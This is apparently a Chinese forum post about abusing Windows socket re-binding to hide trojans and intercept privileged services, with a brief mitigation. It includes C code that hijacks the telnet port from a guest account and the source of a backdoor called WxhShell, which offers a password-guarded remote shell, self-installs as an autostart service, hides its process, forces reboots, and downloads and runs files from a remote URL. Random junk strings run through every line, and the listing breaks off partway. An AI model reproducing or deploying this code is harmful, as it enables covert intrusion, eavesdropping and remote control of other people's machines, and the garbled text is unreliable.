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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RF~Ofi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2FIR]@MQd  
{&=qM!2e  
  saddr.sin_family = AF_INET; wp %FM  
wK'!xH^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OssR[$69  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k l!?/M  
+6hl@Fm(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .^~l_ LkA  
u}}9j&^Xa  
  这意味着什么?意味着可以进行如下的攻击: Z%5nVsm:G  
A#iV=76_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I:1C8*/  
GH$pKB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S3 Xl  
d|Lj~x|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z o(rTCZX  
.Rs^YZF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M&9+6e'-F  
6q.Uhe_B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _g"<UV*H  
FP4P|kl/9'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z[qDkL  
R`E~ZWC4V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U0P~  
Y\g3h M  
  #include tJ$_lk ~6q  
  #include |[b{)s?x  
  #include %YqEzlzF  
  #include    z1X`o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gT6jYQ  
  int main() #5o(h+w)  
  { hf&9uHN%7m  
  WORD wVersionRequested; JYHl,HH#z  
  DWORD ret; _L=h0H l  
  WSADATA wsaData; q9s=~d7  
  BOOL val; 0{-q#/  
  SOCKADDR_IN saddr; +A?U{q  
  SOCKADDR_IN scaddr; HY:7? <r  
  int err; WOL:IZX%  
  SOCKET s; rf{rpe$  
  SOCKET sc; Se =`N  
  int caddsize; "oO%`:pb  
  HANDLE mt; T{[=oH+  
  DWORD tid;   smo~7;  
  wVersionRequested = MAKEWORD( 2, 2 ); gV_}-VvP  
  err = WSAStartup( wVersionRequested, &wsaData ); ge8ZsaiU  
  if ( err != 0 ) { Qh\60f>0  
  printf("error!WSAStartup failed!\n"); PB\x3pV!}  
  return -1; Z4 =GMXj  
  } Z"fJ`--  
  saddr.sin_family = AF_INET; YS"=yye 3e  
   dDLeSz$b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C1 *v,i  
>e$PP8&i_T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &0JI!bR(  
  saddr.sin_port = htons(23); O3kA;[f;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JT_ `.(  
  { |Z +=  
  printf("error!socket failed!\n"); 7J<5f)  
  return -1; + ksVtG,  
  } 6(ol1 (U  
  val = TRUE; C]A.i2o8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SO0PF|{\r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v`1M[  
  { oXF.1f/h  
  printf("error!setsockopt failed!\n"); {R6ZKB  
  return -1; B tcy)LRk  
  } (<C3Vts))  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?$4 PVI}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W7nw6;7=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1iF1GkLEq  
TOQP'/   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /mzlH  
  { Qt<&WB fn  
  ret=GetLastError(); '^UI,"Ti  
  printf("error!bind failed!\n"); qUb&   
  return -1; 7-fb.V9  
  } :d'8x  
  listen(s,2); I%KYtv~ `  
  while(1) '6%2.[ o  
  { ^^ixa1H<  
  caddsize = sizeof(scaddr); lL0APT;  
  //接受连接请求 X#^[<5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]:J$w]\  
  if(sc!=INVALID_SOCKET) - 1gVeT&  
  { %d9uTm;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R.<g3"Lm>  
  if(mt==NULL) ] Zh%DQ  
  { .HABNPNg(  
  printf("Thread Creat Failed!\n"); iDqoa\  
  break; {]4LULq  
  } 67FWa   
  } BnF^u5kv%  
  CloseHandle(mt); /od@!/  
  } [j+sC*  
  closesocket(s); e~"U @8xk~  
  WSACleanup(); 5*u+q2\F  
  return 0; Y(Hs#Kn{  
  }   SNk=b6`9  
  DWORD WINAPI ClientThread(LPVOID lpParam) U- k`s[dv  
  { +] {G@pn  
  SOCKET ss = (SOCKET)lpParam; ]u/sphPe  
  SOCKET sc; Q^^niVz  
  unsigned char buf[4096]; YKK*ER0  
  SOCKADDR_IN saddr; 5L}/&^E#p  
  long num; Xne1gms  
  DWORD val; WcbiqxK7-  
  DWORD ret;  &q*Aj17  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C~exi[3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -jm Y)(\  
  saddr.sin_family = AF_INET; p!AAFmc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B^ }yo65I  
  saddr.sin_port = htons(23); M&M 6;Ph  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XW92gI<O  
  { 0jWVp- y  
  printf("error!socket failed!\n"); b" [|:F>P  
  return -1; DzRFMYBR  
  } AFt s(  
  val = 100; 0JujesUw(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %iqD5x$OA  
  { m+$VVn3Z}  
  ret = GetLastError(); '$+ogBS  
  return -1; sV*H`N')S  
  } #,'kXj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )D%~` ,#pQ  
  { d2L&Z_}  
  ret = GetLastError(); uCB=u[]y4  
  return -1; >^{yF~(  
  }  e]$s t?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `\ol,B_l  
  { Yx`n:0  
  printf("error!socket connect failed!\n"); @>7%qS  
  closesocket(sc); GTxk%   
  closesocket(ss); &uVnZ@o42  
  return -1; hgE71H\s  
  } M)(DZ}  
  while(1) AQ^u   
  { 0<*<$U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?Z}&EH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dDGQ`+H9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B`sAk %  
  num = recv(ss,buf,4096,0); sa8Vvzvo.  
  if(num>0) I]_5}[I  
  send(sc,buf,num,0); ksm~<;td  
  else if(num==0) b\5F]r  
  break; $<OD31T  
  num = recv(sc,buf,4096,0); "9807OME  
  if(num>0) z0 Z%m@  
  send(ss,buf,num,0); ]I6  J7A[  
  else if(num==0) Zb#u0Tq  
  break; Ew$C ;&9  
  } 1AFA=t:]p  
  closesocket(ss); 2 ? 4!K.  
  closesocket(sc); Ws12b $  
  return 0 ; *=xr-!MEk  
  } H%{+QwzZ[j  
U%/+B]6jP  
4I(Xy]wm  
========================================================== 2t1ZIyv3 D  
iJ|uvPCE  
下边附上一个代码,,WXhSHELL H0cA6I  
.ccp  
========================================================== . 'yCw#f  
=WJ NWt>  
#include "stdafx.h" OB}Ib]  
o<!?7g{  
#include <stdio.h> -%4,@ x`  
#include <string.h> a09<!0Rp  
#include <windows.h> <\S:'g"(  
#include <winsock2.h> ]]Ufas9  
#include <winsvc.h> Yoll?_k+  
#include <urlmon.h> h FBe,'3M  
wUM0M?_p[  
#pragma comment (lib, "Ws2_32.lib") Dum9lj  
#pragma comment (lib, "urlmon.lib") J|rq*XD}q  
]J]h#ZHx  
#define MAX_USER   100 // 最大客户端连接数 lk80#( :Z  
#define BUF_SOCK   200 // sock buffer SZCze"`[  
#define KEY_BUFF   255 // 输入 buffer <=C?e<Y  
BfiD9ka-z  
#define REBOOT     0   // 重启 )BfAw  
#define SHUTDOWN   1   // 关机 =H]@n|$(  
GsM<2@?  
#define DEF_PORT   5000 // 监听端口 XRQ4\bMA8  
_u9Jxw?F@Y  
#define REG_LEN     16   // 注册表键长度 , 9 a  
#define SVC_LEN     80   // NT服务名长度 E&:,oG2M  
ZSm3XXk  
// 从dll定义API #A8sLkY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fv`,3aNB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g< .qUBPKX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L9#g)tf 8T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %vi83%$'4  
IV)j1  
// wxhshell配置信息 S:ztXhif>  
struct WSCFG { FHI ;)wn=  
  int ws_port;         // 监听端口 A\5L 7  
  char ws_passstr[REG_LEN]; // 口令 ;i+#fQO7Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no V Jll  
  char ws_regname[REG_LEN]; // 注册表键名 _v]MsT-q  
  char ws_svcname[REG_LEN]; // 服务名 d m%8K6|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "" ZQ/t\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }*"p?L^p{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !jR=pIfq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sCHJ&>m5-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y"wShAR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BIL Lq8)  
7Hu3>4<  
}; c~ V*:$F  
G,w(d@  
// default Wxhshell configuration jRV/A!4  
struct WSCFG wscfg={DEF_PORT, wq`Bd  
    "xuhuanlingzhe", V3j= Kf  
    1, 4+ Z]3oIRE  
    "Wxhshell", 7D5]G-}x.  
    "Wxhshell", 'uEl~> l7  
            "WxhShell Service", W5MTD]J   
    "Wrsky Windows CmdShell Service", 6!FQzFCZq  
    "Please Input Your Password: ", I,8Er2;)  
  1, h.t-`k7  
  "http://www.wrsky.com/wxhshell.exe", PwLZkr@4^  
  "Wxhshell.exe" Z?QC!bWb  
    }; MFk5K  
J/*`7Pd  
// 消息定义模块 OI*Xt`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G'A R`"F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XOS[No~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d/DB nZN  
char *msg_ws_ext="\n\rExit."; ~Jz6O U*z  
char *msg_ws_end="\n\rQuit."; Dm<A ^u8  
char *msg_ws_boot="\n\rReboot..."; @s2y~0}#  
char *msg_ws_poff="\n\rShutdown..."; E~oOKQ5W  
char *msg_ws_down="\n\rSave to "; {{p7 3 'u  
LSr]S79N1  
char *msg_ws_err="\n\rErr!"; }9fTF:P  
char *msg_ws_ok="\n\rOK!"; )P|),S,;Z  
6,{$J  
char ExeFile[MAX_PATH]; ~IN>3\j  
int nUser = 0; W:L AP R  
HANDLE handles[MAX_USER]; ,nDaqQ-C!!  
int OsIsNt;  ZExlGC  
;;N9>M?b  
SERVICE_STATUS       serviceStatus; 81Z) eO#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %d<"l~<5;  
`RL"AH:+  
// 函数声明 wDe& 1(T^  
int Install(void); ~FG]wNgS  
int Uninstall(void); ut7zVp<"  
int DownloadFile(char *sURL, SOCKET wsh); 7%eK37@u  
int Boot(int flag); V[Ui/M!9Z  
void HideProc(void); Ej8^Zg  
int GetOsVer(void); )|=j`jCC  
int Wxhshell(SOCKET wsl); #'9HU2  
void TalkWithClient(void *cs); F@B]et7  
int CmdShell(SOCKET sock); b!5~7Ub.No  
int StartFromService(void); Zba2d,8/  
int StartWxhshell(LPSTR lpCmdLine); O[JL+g4  
;@Y;g(bw:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]|P iF+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1NA.nw.  
%aVq+kC h  
// 数据结构和表定义 VQ9/Gxdeo  
SERVICE_TABLE_ENTRY DispatchTable[] = &Ys<@M7E:  
{ CN8Y\<Ar  
{wscfg.ws_svcname, NTServiceMain}, fHd#u%63K  
{NULL, NULL} %2V?,zY@  
}; |imM# wF  
0{}8(  
// 自我安装 Uf;^%*P4  
int Install(void) fN1-d&T  
{ @>Km_Ax  
  char svExeFile[MAX_PATH]; Iom'Y@x  
  HKEY key; dn$!&  
  strcpy(svExeFile,ExeFile); #( 146  
4yA+ h2  
// 如果是win9x系统,修改注册表设为自启动 mLLDE;7|}  
if(!OsIsNt) { ,w:U#r~s"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eiaFaYe\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rlSeu5X6  
  RegCloseKey(key); L2i_X@/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e)? .r9pA;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }-2 2XYh  
  RegCloseKey(key); E,x+JeKV  
  return 0; YWO)HsjP  
    } 0)e\`Bv  
  } +.b,AqJ/  
} 9`X\6s  
else { 9x9T<cx  
>7T'OC  
// 如果是NT以上系统,安装为系统服务 l'E*=Rn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ! Y~FLA_  
if (schSCManager!=0) }?_?V&K|  
{ i^Y+?Sx  
  SC_HANDLE schService = CreateService u?<%q!  
  ( :g=qz~2Xk  
  schSCManager, }I6veagK  
  wscfg.ws_svcname, $2M$?4S/T  
  wscfg.ws_svcdisp, u5b|#&-mX  
  SERVICE_ALL_ACCESS, Zbt.t] N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;~ $'2f~U  
  SERVICE_AUTO_START, a;qryUyG  
  SERVICE_ERROR_NORMAL, B:S>wFE(.  
  svExeFile, jTtu0Q|  
  NULL, }"P|`"WW  
  NULL, &4x}ppX  
  NULL, BWv^ zi  
  NULL, /1V xc 6  
  NULL J~ zUp(>K  
  ); ;oKZ!ND  
  if (schService!=0) g._]8{K  
  { 03qQ'pq  
  CloseServiceHandle(schService); bL+_j}{:N  
  CloseServiceHandle(schSCManager); FF(#]vz'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mCsMqDH  
  strcat(svExeFile,wscfg.ws_svcname); lH x^D;m6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [" )o.(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BB!THj69a6  
  RegCloseKey(key); aFb==73aLw  
  return 0; BxWPC#5  
    } i$:*Pb3mV  
  } p{ Yv3dNl  
  CloseServiceHandle(schSCManager); d *|Y o  
} 2~1SQ.Q<RY  
} JPc+rfF  
oWim}Er=  
return 1; iohop(LZ  
} \378rQU  
~Ei$nV  
// 自我卸载 Jr ,;>   
int Uninstall(void) a}BYov  
{ 7$vYo _  
  HKEY key; 4n !aW?%  
Yq0| J  
if(!OsIsNt) { hk(ZM#Bh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0neoE E  
  RegDeleteValue(key,wscfg.ws_regname); 8>2.UrC  
  RegCloseKey(key); ( iBl   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3LJ+v5T~  
  RegDeleteValue(key,wscfg.ws_regname); \:# L)   
  RegCloseKey(key); uy[At+%zg  
  return 0; \Xt7`I<  
  } 6y%qVx#!  
} L3u&/Tn2  
} 2\A$6N ;_  
else { 53;}Nt#R  
q1$N>;&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rxgbV.tx  
if (schSCManager!=0) $<dH?%!7  
{ W+aP}rZm:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jiV<+T?  
  if (schService!=0) _JzEGpeG  
  { VuhGx:Xl  
  if(DeleteService(schService)!=0) { Gv!2f  
  CloseServiceHandle(schService); vsCCB}7\  
  CloseServiceHandle(schSCManager); iW]j9}t  
  return 0; x*/t yZg6  
  } KVoS C @w  
  CloseServiceHandle(schService); '1P2$#  
  } 4x=v?g&  
  CloseServiceHandle(schSCManager); fa jGZyd0:  
} <.x{|p  
} >Eyt17_H"n  
59LZv-l  
return 1; qTRsZz@  
} ,uSMQS-O'4  
[N-Di"  
// 从指定url下载文件 O%WIf__Q  
int DownloadFile(char *sURL, SOCKET wsh) 6y-@iJ*ld;  
{ R$h<<v)%  
  HRESULT hr; O W_{$9U  
char seps[]= "/"; BA@lk+aW  
char *token; /QK6Rac-  
char *file; ttaM.  
char myURL[MAX_PATH]; h"[AOfTE$  
char myFILE[MAX_PATH]; 1jmjg~W  
B+|Kjlt  
strcpy(myURL,sURL); 9a[9i}_  
  token=strtok(myURL,seps); 5N#aXG^9  
  while(token!=NULL) a(m2n.0'>  
  { ]{;gw<T  
    file=token; KaLzg5is  
  token=strtok(NULL,seps); w1F cB$  
  } *^pR%E .  
[$ubNk;!z  
GetCurrentDirectory(MAX_PATH,myFILE); k90YV(  
strcat(myFILE, "\\"); [7:,?$tC  
strcat(myFILE, file); juP7P[d$qW  
  send(wsh,myFILE,strlen(myFILE),0); Oz75V|D  
send(wsh,"...",3,0); ] 7[ 3>IN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s-NX o  
  if(hr==S_OK) CYf$nYR  
return 0; Ucb F|vkI  
else c^5~QGuQ  
return 1; zF@/K`  
kl" hBK#D%  
} ;_XFo&@  
<q)#  
// 系统电源模块 ./XYd"p  
int Boot(int flag) HRpte=`q  
{ 9V a}I-  
  HANDLE hToken; iR HQ:Y!  
  TOKEN_PRIVILEGES tkp; mupT<_Y  
\wmN  
  if(OsIsNt) { M^A48u{,"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  C;v.S5x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MnmVl"(/  
    tkp.PrivilegeCount = 1; "BAK !N$9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [=C6U_vU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D=TvYe  
if(flag==REBOOT) { \-E^lIVF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -$\y_?}  
  return 0; OU E (I3_  
} >k|5Okq g  
else { ,.S~ Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +tB=OwU%0  
  return 0; pR<`H'  
} 1pVS&0W  
  } ;J'LS  
  else { W@>% {eE  
if(flag==REBOOT) { oueC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :x3QRF  
  return 0; F k7?xc  
} qyb?49I  
else { ?PLPf>e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TT%M' 5&  
  return 0; /*~EO{o  
} 'B$yo]  
} A.F%Ycq  
je\Ph5"  
return 1; S E<FL/x1#  
} 2F;y;l%  
$V;i '(&7  
// win9x进程隐藏模块 8qoMo7-f  
void HideProc(void) /A\8 mL8  
{ ;7*[Bcj.  
-12UN(&&Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :]K4KFM  
  if ( hKernel != NULL ) 299H$$WS,Z  
  { 1NFsb-<u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q>qUk@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); te`$%NRl  
    FreeLibrary(hKernel); E)&I@m  
  } 1dY}\Sp  
[|wZ77\  
return; p>,|50|  
} n6=By|jRh  
&<g|gsG`  
// 获取操作系统版本 8LJ8 }%*  
int GetOsVer(void) O^PKn_OJ  
{ 2ACCh4(/P  
  OSVERSIONINFO winfo; ;<Sd~M4f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2>9C-VL2  
  GetVersionEx(&winfo); ;]puq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <V'@ks%  
  return 1; lgAoJ[  
  else P;y45b  
  return 0; yF:1( 4  
} ;a!S!% .h  
>{ ]%F*p4  
// 客户端句柄模块 234p9A@  
int Wxhshell(SOCKET wsl)  N];NAMp  
{ ldcqe$7,  
  SOCKET wsh; )* :gqN  
  struct sockaddr_in client; LP^$AAy  
  DWORD myID; M t|zyXyzX  
GKqm&/M*=  
  while(nUser<MAX_USER) b6M[q_   
{ :VBV&l` [  
  int nSize=sizeof(client); m@j?za9s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P8 c`fbkX2  
  if(wsh==INVALID_SOCKET) return 1; pX<`+t[  
g/_5unI}u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BVQqY$>  
if(handles[nUser]==0) 2"Q|+-Io  
  closesocket(wsh); c ]-<vkpV  
else \7eUw,~Q>  
  nUser++; j;Gtu  
  } =J==i?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s) t@ol  
$Wol?)z  
  return 0; EWt[z.`T1  
} l30EKoul)  
RNL9>7xV  
// 关闭 socket wq{hF<  
void CloseIt(SOCKET wsh) ~rm_vo  
{ t7pFW^&  
closesocket(wsh); }b}m3i1  
nUser--; gr{ DWCK  
ExitThread(0); gIfh3D=yX  
} G[=c Ss,  
O-^Ma- }  
// 客户端请求句柄 )pa]ui\t  
void TalkWithClient(void *cs) +%'(!A?*`  
{ D~m*!w*  
d=(mw_-?  
  SOCKET wsh=(SOCKET)cs; 3BI1fXT4=j  
  char pwd[SVC_LEN]; R_C)  
  char cmd[KEY_BUFF]; j%kncGS  
char chr[1]; dN q$}  
int i,j; ;l+Leex  
L0,'mS  
  while (nUser < MAX_USER) { vP&(-a  
*@5@,=d  
if(wscfg.ws_passstr) { f|5co>Hk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Ze1s02(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :;}P*T*PU  
  //ZeroMemory(pwd,KEY_BUFF); ?`s8 pPc4  
      i=0; ye&;(30Oq  
  while(i<SVC_LEN) { T)/eeZ$  
.#gzP2 [q  
  // 设置超时 M3\AY30L  
  fd_set FdRead; K?;DMUSY\  
  struct timeval TimeOut; #mdc[.  
  FD_ZERO(&FdRead); 0mE 0 j  
  FD_SET(wsh,&FdRead); -w2/w@&  
  TimeOut.tv_sec=8; )A6<c%d =x  
  TimeOut.tv_usec=0; vh^VxS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K;?+8(H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /uc>@!F  
c 9Mz]1@f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (PL UFT  
  pwd=chr[0]; $Sq:q0  
  if(chr[0]==0xd || chr[0]==0xa) { { 6il`>=C  
  pwd=0; e~OpofJNb  
  break; x2xRBkRg=  
  } 6nn *]|7  
  i++; )~>YH*g  
    } %9"H  
_a, s )  
  // 如果是非法用户,关闭 socket \fOEqe*5SM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rq-ZL{LR7  
} 97Vtn4N3  
0GwR~Z}Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F59 TZI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~N4m1s"  
W?& %x(6M  
while(1) { k$VlfQ'+  
}>\C{ClI  
  ZeroMemory(cmd,KEY_BUFF); K/$KI7 P  
'/p4O2b,  
      // 自动支持客户端 telnet标准    " bG2:  
  j=0; +`4A$#$+y  
  while(j<KEY_BUFF) { (Ldi|jL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _c07}aQ ],  
  cmd[j]=chr[0]; Z+SRXKQ  
  if(chr[0]==0xa || chr[0]==0xd) { %T[]zJ(  
  cmd[j]=0; 4H/OBR  
  break; st*gs-8jJ;  
  } \8tsDG(1 '  
  j++; pg.%Pdr<$  
    } !-bB559Nv  
$G>.\t  
  // 下载文件 gw(z1L5 n  
  if(strstr(cmd,"http://")) { $b\P|#A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); al0L&z\  
  if(DownloadFile(cmd,wsh)) N`i/mP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Za/p@gM  
  else a*;b^Ze`v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t^HRgY'NjM  
  } sLFl!jX  
  else { 6@f-Glwg  
}u|q0>^8  
    switch(cmd[0]) { Rcv9mj]l  
  E7hhew  
  // 帮助 eyaNs{TV  
  case '?': { c> af  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B!yr!DWv  
    break; NA*&#X#~  
  } `/g UV  
  // 安装 SuznN L=/$  
  case 'i': { E]6 6]+;0_  
    if(Install()) ]Dzlp7Y}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @o^Ww  
    else l2d{ 73h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +(*DT9s+  
    break; 'yth'[  
    } *I'yH8Fcn  
  // 卸载 &zhAh1m  
  case 'r': { +"(jjxJm  
    if(Uninstall()) ~ 1pr~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&&@v4L   
    else xPgBV~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bcR_E5x$  
    break; "3hMq1NQ`g  
    } P4?glh q#  
  // 显示 wxhshell 所在路径 +#By*;BJ  
  case 'p': { eQ"E   
    char svExeFile[MAX_PATH]; D0C y^_  
    strcpy(svExeFile,"\n\r"); eFAnFJ][L  
      strcat(svExeFile,ExeFile); 6RM/GM  
        send(wsh,svExeFile,strlen(svExeFile),0); 9kojLqCT  
    break; _|]x2xb)  
    } .2pK.$.  
  // 重启 [Yyk0Qv|4  
  case 'b': { !c-*O<Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j4b4!^fV  
    if(Boot(REBOOT)) @KA4N`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~%6JJN7  
    else { RyNs6  
    closesocket(wsh); bfO=;S]b!  
    ExitThread(0); 9Ee'Cm  
    } w:l"\Tm  
    break; a6H%5N  
    } e*!kZAf  
  // 关机 m3ff;,  
  case 'd': { <1 pEwI~  
